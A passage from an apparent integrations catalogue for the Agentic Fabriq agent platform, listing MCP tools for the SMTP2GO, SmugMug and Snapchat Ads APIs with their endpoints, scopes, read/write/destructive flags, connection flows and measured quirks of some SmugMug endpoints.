SMTP. Agentic Fabriq cannot supply a stable egress address -- its nodes use ephemeral public IPs -- so no allow list can be written that keeps this connection working once the list is enforced. POST /api/v1/smtp2go/ip_auth/remove. Scopes: api. smtp2go_post_ip_auth_view (read) — Returns a list of all IP Auth entries that are managed by this account, or details of a specific IP Auth, when you include the [ip_address] in your request. If no entries are available, this will return an empty list. POST /api/v1/smtp2go/ip_auth/view. Scopes: api. smtp2go_post_single_sender_emails_add (write) — Use the API to add a single sender email address to your account, to use from which to send mail. If the email address has previously been added and not yet verified, this action will simply resend the verification email. POST /api/v1/smtp2go/single_sender_emails/add. Scopes: api. smtp2go_post_single_sender_emails_remove (write, destructive) — Remove a single sender email address from your account. Include the address to remove as the email_address parameter. POST /api/v1/smtp2go/single_sender_emails/remove. Scopes: api. smtp2go_post_single_sender_emails_view (read) — Returns a list of single sender email addresses on your account, along with their verification status. If you include a email_address, the response will only include items matching this search. POST /api/v1/smtp2go/single_sender_emails/view. Scopes: api. smtp2go_post_sms_send (write) — Send an SMS message to one or more numbers, up to a maximum of 100 numbers. POST /api/v1/smtp2go/sms/send. Scopes: api. smtp2go_post_sms_summary (read) — Retrieve a summary of SMS messages within a certain time range. POST /api/v1/smtp2go/sms/summary. Scopes: api. smtp2go_post_sms_view_received (read) — View received SMS messages. POST /api/v1/smtp2go/sms/view-received. Scopes: api. smtp2go_post_sms_view_sent (read) — View sent SMS messages. POST /api/v1/smtp2go/sms/view-sent. Scopes: api. smtp2go_post_stats_email_bounces (read) — Retrieve a summary of bounces and rejects, for the last 30 days. POST /api/v1/smtp2go/stats/email_bounces. Scopes: api. smtp2go_post_stats_email_cycle (read) — Retrieve a summary of your Account activity, including the start and end date of your monthly plan, the number of emails sent this cycle, the number of emails remaining and the number of emails in your monthly allowance. POST /api/v1/smtp2go/stats/email_cycle. Scopes: api. smtp2go_post_stats_email_history (read) — Retrieve a summary of activity from a specified date range (defaults to last 30 days), per sender email address, SMTP username, domain or subaccount. POST /api/v1/smtp2go/stats/email_history. Scopes: api. smtp2go_post_stats_email_spam (read) — Retrieve a summary of spam complaints and rejects, for the last 30 days. POST /api/v1/smtp2go/stats/email_spam. Scopes: api. smtp2go_post_stats_email_summary (read) — Retrieve a combination of the email_bounces, email_cycle, email_spam, and email_unsubs calls in one report. Note this call may take longer to complete. POST /api/v1/smtp2go/stats/email_summary. Scopes: api. smtp2go_post_stats_email_unsubs (read) — Retrieve a summary of unsubscribes and rejects, for the last 30 days. POST /api/v1/smtp2go/stats/email_unsubs. Scopes: api. smtp2go_post_subaccount_add (write) — Adds a new subaccount on your master account. Note: This end-point is rate limited to 50 calls per hour. POST /api/v1/smtp2go/subaccount/add. Scopes: api. smtp2go_post_subaccount_close (write, destructive) — Changes the status of an Active subaccount to Closed. Closes a subaccount: its SMTP users and API keys stop sending. POST /api/v1/smtp2go/subaccount/close. Scopes: api. smtp2go_post_subaccount_edit (write) — Changes the details on an existing subaccount. POST /api/v1/smtp2go/subaccount/edit. Scopes: api. smtp2go_post_subaccount_reopen (write) — Changes the status of a Closed subaccount back to Active. POST /api/v1/smtp2go/subaccount/reopen. Scopes: api. smtp2go_post_subaccounts_search (read) — Returns any subaccounts that match search criteria. POST /api/v1/smtp2go/subaccounts/search. Scopes: api. smtp2go_post_suppression_add (write) — Suppresses the specified email address or domain. POST /api/v1/smtp2go/suppression/add. Scopes: api. smtp2go_post_suppression_remove (write, destructive) — Removes the suppression on the specified email address or domain. POST /api/v1/smtp2go/suppression/remove. Scopes: api. smtp2go_post_suppression_view (read) — Returns your suppressed email addresses and domains. POST /api/v1/smtp2go/suppression/view. Scopes: api. smtp2go_post_template_add (write) — Adds a new email template that you can use to format your emails. POST /api/v1/smtp2go/template/add. Scopes: api. smtp2go_post_template_delete (write, destructive) — Deletes the specified email template. POST /api/v1/smtp2go/template/delete. Scopes: api. smtp2go_post_template_edit (write) — Changes details of an existing email template. POST /api/v1/smtp2go/template/edit. Scopes: api. smtp2go_post_template_search (read) — Search your collection of email templates. Returns any templates that match your search criteria. POST /api/v1/smtp2go/template/search. Scopes: api. smtp2go_post_template_view (read) — Returns details of the email template with the specified ID. POST /api/v1/smtp2go/template/view. Scopes: api. smtp2go_post_users_smtp_add (write) — Add a new SMTP user to your account. Full details of the available options for new user accounts can be found in the SMTP User Guide. POST /api/v1/smtp2go/users/smtp/add. Scopes: api. smtp2go_post_users_smtp_edit (write) — Update an SMTP user's details with the parameters passed. Full details of the available options for SMTP user accounts is found in the SMTP User Guide. POST /api/v1/smtp2go/users/smtp/edit. Scopes: api. smtp2go_post_users_smtp_remove (write, destructive) — Remove an SMTP user from your account. POST /api/v1/smtp2go/users/smtp/remove. Scopes: api. smtp2go_post_users_smtp_view (read) — Returns a list of all SMTP users that are managed by this account, or details of a specific user, when you include the [username] in your request. If no users are available, this will return an empty list. POST /api/v1/smtp2go/users/smtp/view. Scopes: api. smtp2go_post_webhook_add (write) — Add a new webhook with the given configuration. Setup of webhooks can be done on the Settings > Webhooks page in your SMTP2GO control panel. POST /api/v1/smtp2go/webhook/add. Scopes: api. smtp2go_post_webhook_edit (write) — Make changes to a specific webhook using its unique ID. POST /api/v1/smtp2go/webhook/edit. Scopes: api. smtp2go_post_webhook_remove (write, destructive) — Remove a specific webhook using its unique ID. POST /api/v1/smtp2go/webhook/remove. Scopes: api. smtp2go_post_webhook_view (read) — Returns information for configured webhooks. POST /api/v1/smtp2go/webhook/view. Scopes: api. ================================================================================ ## SmugMug URL: https://www.agenticfabriq.com/integrations/smugmug Section: Integrated Tools SmugMug — 36 MCP tools Provider key: smugmug. Scopes: Access=Public, Permissions=Read. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. smugmug_get_api_v2 (read) — Get the API service document. API Version 2. GET /api/v2. GET /api/v1/smugmug/api/v2. Scopes: Permissions=Read. smugmug_get_api_v2_album_by_albumkey (read) — Get an album. Album by key. GET /api/v2/album/{albumKey}. GET /api/v1/smugmug/api/v2/album/{albumKey}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_album_by_albumkey_image_by_imagekey (read) — Get an image in an album. Image from album. GET /api/v2/album/{albumKey}/image/{imageKey}. imageKey must carry the serial suffix SmugMug's own Uri uses (fgGLSmh-0), not the bare ImageKey field an album listing shows (fgGLSmh): measured 2026-09-17, the bare form answers 301 to the suffixed one, and this integration does not follow redirects. GET /api/v1/smugmug/api/v2/album/{albumKey}/image/{imageKey}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_authuser (read) — Get the authenticated user. Currently authenticated user. GET /api/v2!authuser. NOT AVAILABLE on this connection's credential -- calling it returns a refusal that says why, and sends nothing to SmugMug. GET /api/v1/smugmug/api/v2!authuser. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_folder_user_by_nickname (read) — Get a user's root folder. A folder or legacy (sub)category by UrlPath. GET /api/v2/folder/user/{nickname}. GET /api/v1/smugmug/api/v2/folder/user/{nickname}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_folder_user_by_nickname_by_urlpath (read) — Get a folder. A folder or legacy (sub)category by UrlPath. GET /api/v2/folder/user/{nickname}/{urlPath}. urlPath is the site-relative folder path WITHOUT its leading slash, and it may contain slashes of its own: Family and Family/Photos are both valid and both answer 200 (measured 2026-09-17). GET /api/v1/smugmug/api/v2/folder/user/{nickname}/{urlPath}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_folder_user_by_nickname_by_urlpath_albums (read) — List a folder's albums. Albums inside of the folder. GET /api/v2/folder/user/{nickname}/{urlPath}!albums. Lists the albums directly inside that folder, not the ones in its subfolders: measured 2026-09-17, Family answered with none and Family/Photos answered with 68. GET /api/v1/smugmug/api/v2/folder/user/{nickname}/{urlPath}!albums. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_folder_user_by_nickname_folders (read) — List the root folder's subfolders. Folders inside of the folder. GET /api/v2/folder/user/{nickname}!folders. Lists the subfolders of the account's ROOT folder only. There is no GET for the subfolders of a nested folder in SmugMug's published surface; list a nested folder's contents with smugmug_get_api_v2_node_by_nodeid_children instead, which returns folders, albums and pages together and takes a Type filter. GET /api/v1/smugmug/api/v2/folder/user/{nickname}!folders. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_highlight_node_by_nodeid (read) — Get a node's highlight image. Highlight image for a folder, album, or page. GET /api/v2/highlight/node/{nodeId}. GET /api/v1/smugmug/api/v2/highlight/node/{nodeId}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_image_by_imagekey (read) — Get an image. Image by key. GET /api/v2/image/{imageKey}. imageKey must carry the serial suffix SmugMug's own Uri uses (fgGLSmh-0), not the bare ImageKey field an album listing shows (fgGLSmh): measured 2026-09-17, the bare form answers 301 to the suffixed one, and this integration does not follow redirects, so a bare key surfaces as a redirect error rather than as data. Take the value from the AlbumImage's Uri. GET /api/v1/smugmug/api/v2/image/{imageKey}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_nicknameurlpathlookup (read) — Look up a node by nickname and URL path. Lookup folder, album, or page by user nickname and path. GET /api/v2!nicknameurlpathlookup. Both nickname and urlpath are REQUIRED: measured 2026-09-17, a call without them answers 200 with an empty envelope rather than an error. urlpath is the site-relative path, e.g. /Travel. GET /api/v1/smugmug/api/v2!nicknameurlpathlookup. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_node_by_nodeid (read) — Get a node. Node with the given id. GET /api/v2/node/{nodeId}. GET /api/v1/smugmug/api/v2/node/{nodeId}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_node_by_nodeid_children (read) — List a node's children. Child nodes of the given node. GET /api/v2/node/{nodeId}!children. GET /api/v1/smugmug/api/v2/node/{nodeId}!children. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_node_by_nodeid_comments (read) — List a node's comments. Comments on a Node. GET /api/v2/node/{nodeId}!comments. GET /api/v1/smugmug/api/v2/node/{nodeId}!comments. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_node_by_nodeid_cover (read) — Get a node's cover image. Cover image for a folder, album, or page. GET /api/v2/node/{nodeId}!cover. GET /api/v1/smugmug/api/v2/node/{nodeId}!cover. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_node_by_nodeid_parent (read) — Get a node's parent. Parent node of the given node. GET /api/v2/node/{nodeId}!parent. The account's ROOT node has no parent and answers 404; every other node answers 200 (measured 2026-09-17 on both). GET /api/v1/smugmug/api/v2/node/{nodeId}!parent. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_node_by_nodeid_parents (read) — List a node's ancestors. Hierarchy of nodes from the given node (inclusive) to the root node. GET /api/v2/node/{nodeId}!parents. GET /api/v1/smugmug/api/v2/node/{nodeId}!parents. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_node_by_nodeid_pricelist (read) — Get a node's pricelist. Get, update, or remove the pricelist mapped to this node. GET /api/v2/node/{nodeId}!pricelist. GET /api/v1/smugmug/api/v2/node/{nodeId}!pricelist. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_siteuser (read) — Get the site's owner. Owner of the current domain name. GET /api/v2!siteuser. NOT AVAILABLE on this connection's credential -- calling it returns a refusal that says why, and sends nothing to SmugMug. GET /api/v1/smugmug/api/v2!siteuser. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname (read) — Get a user. User By Nickname. GET /api/v2/user/{nickname}. GET /api/v1/smugmug/api/v2/user/{nickname}. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_albums (read) — List a user's albums. All of user's albums. GET /api/v2/user/{nickname}!albums. GET /api/v1/smugmug/api/v2/user/{nickname}!albums. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_bioimage (read) — Get a user's bio image. User BioImage. GET /api/v2/user/{nickname}!bioimage. GET /api/v1/smugmug/api/v2/user/{nickname}!bioimage. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_communities (read) — List a user's communities. User's communities. GET /api/v2/user/{nickname}!communities. NOT AVAILABLE on this connection's credential -- calling it returns a refusal that says why, and sends nothing to SmugMug. GET /api/v1/smugmug/api/v2/user/{nickname}!communities. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_coverimage (read) — Get a user's cover image. User CoverImage. GET /api/v2/user/{nickname}!coverimage. GET /api/v1/smugmug/api/v2/user/{nickname}!coverimage. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_featuredalbums (read) — List a user's featured albums. User's featured albums. GET /api/v2/user/{nickname}!featuredalbums. GET /api/v1/smugmug/api/v2/user/{nickname}!featuredalbums. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_features (read) — Get a user's account features. User's account features information. GET /api/v2/user/{nickname}!features. GET /api/v1/smugmug/api/v2/user/{nickname}!features. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_geomedia (read) — List a user's geotagged media. Geotagged images for user. GET /api/v2/user/{nickname}!geomedia. SmugMug's own note on this endpoint: "This response may lag with respect to images being added or deleted for a User." GET /api/v1/smugmug/api/v2/user/{nickname}!geomedia. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_imagesearch (read) — Search a user's images. Search for user images. GET /api/v2/user/{nickname}!imagesearch. q is REQUIRED although the endpoint does not say so by failing: measured 2026-09-17, a call without it answers 200 with zero results rather than an error, while q=sunset returned 10 of 11 pages of matches. Searches only what the account has made public. GET /api/v1/smugmug/api/v2/user/{nickname}!imagesearch. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_popularmedia (read) — List a user's popular media. User's popular images. GET /api/v2/user/{nickname}!popularmedia. SmugMug's own note on this endpoint: "This response may lag with respect to images being added or deleted for a User." GET /api/v1/smugmug/api/v2/user/{nickname}!popularmedia. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_profile (read) — Get a user's profile. User's profile information. GET /api/v2/user/{nickname}!profile. GET /api/v1/smugmug/api/v2/user/{nickname}!profile. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_recentimages (read) — List a user's recent images. User's recent images. GET /api/v2/user/{nickname}!recentimages. GET /api/v1/smugmug/api/v2/user/{nickname}!recentimages. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_sitesettings (read) — Get a user's site settings. User site settings. GET /api/v2/user/{nickname}!sitesettings. GET /api/v1/smugmug/api/v2/user/{nickname}!sitesettings. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_topkeywords (read) — List a user's top keywords. User's top keywords. GET /api/v2/user/{nickname}!topkeywords. GET /api/v1/smugmug/api/v2/user/{nickname}!topkeywords. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_user_by_nickname_urlpathlookup (read) — Look up one of a user's nodes by URL path. Lookup user's folder, album, or page by path. GET /api/v2/user/{nickname}!urlpathlookup. urlpath is REQUIRED: measured 2026-09-17, a call without it answers 200 with an empty envelope rather than an error. It is the site-relative path, e.g. /Travel. GET /api/v1/smugmug/api/v2/user/{nickname}!urlpathlookup. Scopes: Access=Public, Permissions=Read. smugmug_get_api_v2_weburilookup (read) — Look up a node by its web address. Lookup folder, album, image (with an album context) or page by WebUri. GET /api/v2!weburilookup. WebUri is REQUIRED although the endpoint does not say so by failing: measured 2026-09-17, a call without it answers 200 with an empty envelope rather than an error. Pass a SmugMug web address such as https://cmac.smugmug.com or https://cmac.smugmug.com/Travel. GET /api/v1/smugmug/api/v2!weburilookup. Scopes: Access=Public, Permissions=Read. smugmug_options_api_v2 (read) — Describe the API service document. API Version 2. OPTIONS /api/v2. This is an HTTP OPTIONS call, and on SmugMug that is a documentation request rather than a CORS preflight: the reply describes the endpoint -- which methods it will serve THIS credential, what Permissions level each one costs, the query parameters each takes with their enum options and defaults, and the media types and response levels available. Useful for discovering what the connection can actually do before trying it. OPTIONS /api/v1/smugmug/api/v2. Scopes: Permissions=Read. ================================================================================ ## Snapchat Ads URL: https://www.agenticfabriq.com/integrations/snapchat Section: Integrated Tools Snapchat Ads — 189 MCP tools Provider key: snapchat. Scopes: snapchat-marketing-api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. snapchat_delete_v1_adaccounts_by_ad_account_id_offer_disclaimers_by_offer_disclaimer_id (write, destructive) — Delete offer disclaimers via DELETE /v1/adaccounts/{ad_account_id}/offer_disclaimers/{offer_disclaimer_id} DELETE /api/v1/snapchat/adaccounts/{ad_account_id}/offer_disclaimers/{offer_disclaimer_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_ads_by_ad_id (write, destructive) — Delete an Ad via DELETE /v1/ads/{ad_id} DELETE /api/v1/snapchat/ads/{ad_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_adsquads_by_id (write, destructive) — Delete an Ad Squad via DELETE /v1/adsquads/{id} DELETE /api/v1/snapchat/adsquads/{id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_campaigns_by_id (write, destructive) — Delete a Specific Campaign via DELETE /v1/campaigns/{id} DELETE /api/v1/snapchat/campaigns/{id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_catalogs_by_catalog_id (write, destructive) — Delete a Catalog via DELETE /v1/catalogs/{catalog_id} DELETE /api/v1/snapchat/catalogs/{catalog_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_event_details_by_event_details_id (write, destructive) — Delete an Event Details entity via DELETE /v1/event_details/{event_details_id} DELETE /api/v1/snapchat/event_details/{event_details_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_lead_gen_integrations_by_integration_id (write, destructive) — Delete a Webhook Integration via DELETE /v1/lead_gen/integrations/{integration_id} DELETE /api/v1/snapchat/lead_gen/integrations/{integration_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_members_by_id (write, destructive) — Delete Member via DELETE /v1/members/{id} DELETE /api/v1/snapchat/members/{id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_product_feeds_by_product_feed_id (write, destructive) — Delete a Product Feed via DELETE /v1/product_feeds/{product_feed_id} DELETE /api/v1/snapchat/product_feeds/{product_feed_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_roles_by_role_id (write, destructive) — Delete Role via DELETE /v1/roles/{role_id} DELETE /api/v1/snapchat/roles/{role_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_segments_by_segment_id (write, destructive) — Delete an Audience Segment via DELETE /v1/segments/{segment_id} DELETE /api/v1/snapchat/segments/{segment_id}. Scopes: snapchat-marketing-api. snapchat_delete_v1_segments_by_segment_id_all_users (write, destructive) — Remove All Users from a Segment via DELETE /v1/segments/{segment_id}/all_users DELETE /api/v1/snapchat/segments/{segment_id}/all_users. Scopes: snapchat-marketing-api. snapchat_delete_v1_segments_by_segment_id_users (write, destructive) — Removing Users via DELETE /v1/segments/{segment_id}/users DELETE /api/v1/snapchat/segments/{segment_id}/users. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id (read) — Get a Specific Ad Account via GET /v1/adaccounts/{ad_account_id} GET /api/v1/snapchat/adaccounts/{ad_account_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_ad_squad_ui_render_data (read) — Fetch Ad Squad Ui Render Data Object by id via GET /v1/adaccounts/{ad_account_id}/ad_squad_ui_render_data GET /api/v1/snapchat/adaccounts/{ad_account_id}/ad_squad_ui_render_data. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_ads (read) — Get all Ads under an Ad Account via GET /v1/adaccounts/{ad_account_id}/ads GET /api/v1/snapchat/adaccounts/{ad_account_id}/ads. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_adsquads (read) — Fetch All Ad Squads under an Ad Account via GET /v1/adaccounts/{ad_account_id}/adsquads GET /api/v1/snapchat/adaccounts/{ad_account_id}/adsquads. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_campaigns (read) — Fetch all Campaigns under an Ad Account via GET /v1/adaccounts/{ad_account_id}/campaigns GET /api/v1/snapchat/adaccounts/{ad_account_id}/campaigns. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_creatives (read) — Get All Creatives via GET /v1/adaccounts/{ad_account_id}/creatives GET /api/v1/snapchat/adaccounts/{ad_account_id}/creatives. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_dynamic_templates (read) — Get Dynamic Templates by Ad Account ID via GET /v1/adaccounts/{ad_account_id}/dynamic_templates GET /api/v1/snapchat/adaccounts/{ad_account_id}/dynamic_templates. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_event_details (read) — Get all Event Details entities under an Ad Account via GET /v1/adaccounts/{ad_account_id}/event_details GET /api/v1/snapchat/adaccounts/{ad_account_id}/event_details. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_interaction_zones (read) — Get all Interaction Zones for an Ad Account via GET /v1/adaccounts/{ad_account_id}/interaction_zones GET /api/v1/snapchat/adaccounts/{ad_account_id}/interaction_zones. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_invoices (read) — List invoices by Ad Account via GET /v1/adaccounts/{ad_account_id}/invoices GET /api/v1/snapchat/adaccounts/{ad_account_id}/invoices. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_invoices_by_invoice_id (read) — Get individual Invoice via GET /v1/adaccounts/{ad_account_id}/invoices/{invoice_id} GET /api/v1/snapchat/adaccounts/{ad_account_id}/invoices/{invoice_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_lead_generation_forms (read) — Get Lead Generation Forms under an Ad Account via GET /v1/adaccounts/{ad_account_id}/lead_generation_forms GET /api/v1/snapchat/adaccounts/{ad_account_id}/lead_generation_forms. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_leads_report (read) — Fetch Lead Gen Report via GET /v1/adaccounts/{ad_account_id}/leads_report GET /api/v1/snapchat/adaccounts/{ad_account_id}/leads_report. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_media (read) — Fetch all Media in an Ad Account via GET /v1/adaccounts/{ad_account_id}/media GET /api/v1/snapchat/adaccounts/{ad_account_id}/media. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_offer_disclaimers (read) — Get offer disclaimers via GET /v1/adaccounts/{ad_account_id}/offer_disclaimers GET /api/v1/snapchat/adaccounts/{ad_account_id}/offer_disclaimers. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_offer_disclaimers_by_offer_disclaimer_id (read) — Get offer disclaimers via GET /v1/adaccounts/{ad_account_id}/offer_disclaimers/{offer_disclaimer_id} GET /api/v1/snapchat/adaccounts/{ad_account_id}/offer_disclaimers/{offer_disclaimer_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_phone_numbers (read) — Swipe to Call/Text - Phone number verification via GET /v1/adaccounts/{ad_account_id}/phone_numbers GET /api/v1/snapchat/adaccounts/{ad_account_id}/phone_numbers. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_pixels (read) — Get the Pixel associated with an Ad Account via GET /v1/adaccounts/{ad_account_id}/pixels GET /api/v1/snapchat/adaccounts/{ad_account_id}/pixels. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_roles (read) — Get all Roles in Ad Account via GET /v1/adaccounts/{ad_account_id}/roles GET /api/v1/snapchat/adaccounts/{ad_account_id}/roles. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_segments (read) — Get All Audience Segments via GET /v1/adaccounts/{ad_account_id}/segments GET /api/v1/snapchat/adaccounts/{ad_account_id}/segments. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_spend_guidance (read) — Bid Recommendation via GET /v1/adaccounts/{ad_account_id}/spend_guidance GET /api/v1/snapchat/adaccounts/{ad_account_id}/spend_guidance. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_stats (read) — Get Ad Account Stats via GET /v1/adaccounts/{ad_account_id}/stats GET /api/v1/snapchat/adaccounts/{ad_account_id}/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_ad_account_id_stats_report (read) — Asynchronous reporting requests via GET /v1/adaccounts/{ad_account_id}/stats_report GET /api/v1/snapchat/adaccounts/{ad_account_id}/stats_report. Scopes: snapchat-marketing-api. snapchat_get_v1_adaccounts_by_adaccount_id_mobile_apps (read) — Get all Snap Apps under an Ad Account via GET /v1/adaccounts/{adaccount_id}/mobile_apps GET /api/v1/snapchat/adaccounts/{adaccount_id}/mobile_apps. Scopes: snapchat-marketing-api. snapchat_get_v1_ads_by_ad_id (read) — Get a specific Ad via GET /v1/ads/{ad_id} GET /api/v1/snapchat/ads/{ad_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_ads_by_ad_id_external_changelogs (read) — Fetch the change logs for an Ad via GET /v1/ads/{ad_id}/external_changelogs GET /api/v1/snapchat/ads/{ad_id}/external_changelogs. Scopes: snapchat-marketing-api. snapchat_get_v1_ads_by_ad_id_stats (read) — Get Ad Stats via GET /v1/ads/{ad_id}/stats GET /api/v1/snapchat/ads/{ad_id}/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_ads_by_ad_id_stats_report (read) — Asynchronous reporting requests via GET /v1/ads/{ad_id}/stats_report GET /api/v1/snapchat/ads/{ad_id}/stats_report. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_ad_squad_id (read) — Get a Specific Ad Squad via GET /v1/adsquads/{ad_squad_id} GET /api/v1/snapchat/adsquads/{ad_squad_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_ad_squad_id_ad_squad_ad_restrictions (read) — List Ad Types in an Ad Squad via GET /v1/adsquads/{ad_squad_id}/ad_squad_ad_restrictions GET /api/v1/snapchat/adsquads/{ad_squad_id}/ad_squad_ad_restrictions. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_ad_squad_id_ads (read) — Get all Ads under an Ad Squad via GET /v1/adsquads/{ad_squad_id}/ads GET /api/v1/snapchat/adsquads/{ad_squad_id}/ads. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_ad_squad_id_audience_size_v2 (read) — By Ad Squad ID via GET /v1/adsquads/{ad_squad_id}/audience_size_v2 GET /api/v1/snapchat/adsquads/{ad_squad_id}/audience_size_v2. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_adsquad_id_external_changelogs (read) — Fetch the change logs for an AdSquad via GET /v1/adsquads/{adsquad_id}/external_changelogs GET /api/v1/snapchat/adsquads/{adsquad_id}/external_changelogs. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_adsquad_id_stats (read) — Get Ad Squad Stats via GET /v1/adsquads/{adsquad_id}/stats GET /api/v1/snapchat/adsquads/{adsquad_id}/stats. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_adsquad_id_stats_report (read) — Asynchronous reporting requests via GET /v1/adsquads/{adsquad_id}/stats_report GET /api/v1/snapchat/adsquads/{adsquad_id}/stats_report. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_id_ad_squad_ui_render_data (read) — Fetch the Ad Squad Ui Render Data Object for an Ad Squad via GET /v1/adsquads/{id}/ad_squad_ui_render_data GET /api/v1/snapchat/adsquads/{id}/ad_squad_ui_render_data. Scopes: snapchat-marketing-api. snapchat_get_v1_adsquads_by_id_bid_estimate (read) — By Ad Squad via GET /v1/adsquads/{id}/bid_estimate GET /api/v1/snapchat/adsquads/{id}/bid_estimate. Scopes: snapchat-marketing-api. snapchat_get_v1_billingcenters_by_billing_center_id (read) — Get a specific Billing Center via GET /v1/billingcenters/{billing_center_id} GET /api/v1/snapchat/billingcenters/{billing_center_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_campaigns_by_campaign_id (read) — Get a specific Campaign via GET /v1/campaigns/{campaign_id} GET /api/v1/snapchat/campaigns/{campaign_id}. Scopes: snapchat-marketing-api. snapchat_get_v1_campaigns_by_campaign_id_ads (read) — Get all Ads under a Campaign via GET /v1/campaigns/{campaign_id}/ads GET /api/v1/snapchat/campaigns/{campaign_id}/ads. Scopes: snapchat-marketing-api. snapchat_get_v1_campaigns_by_campaign_id_adsquads (read) — Fetch All Ad Squads under a Campaign via GET /v1/campaigns/{campaign_id}/adsquads GET /api/v1/snapchat/campaigns/{campaign_id}/adsquads. Scopes: snapchat-marketing-api. snapchat_get_v1_campaigns_by_campaign_id_external_changelogs 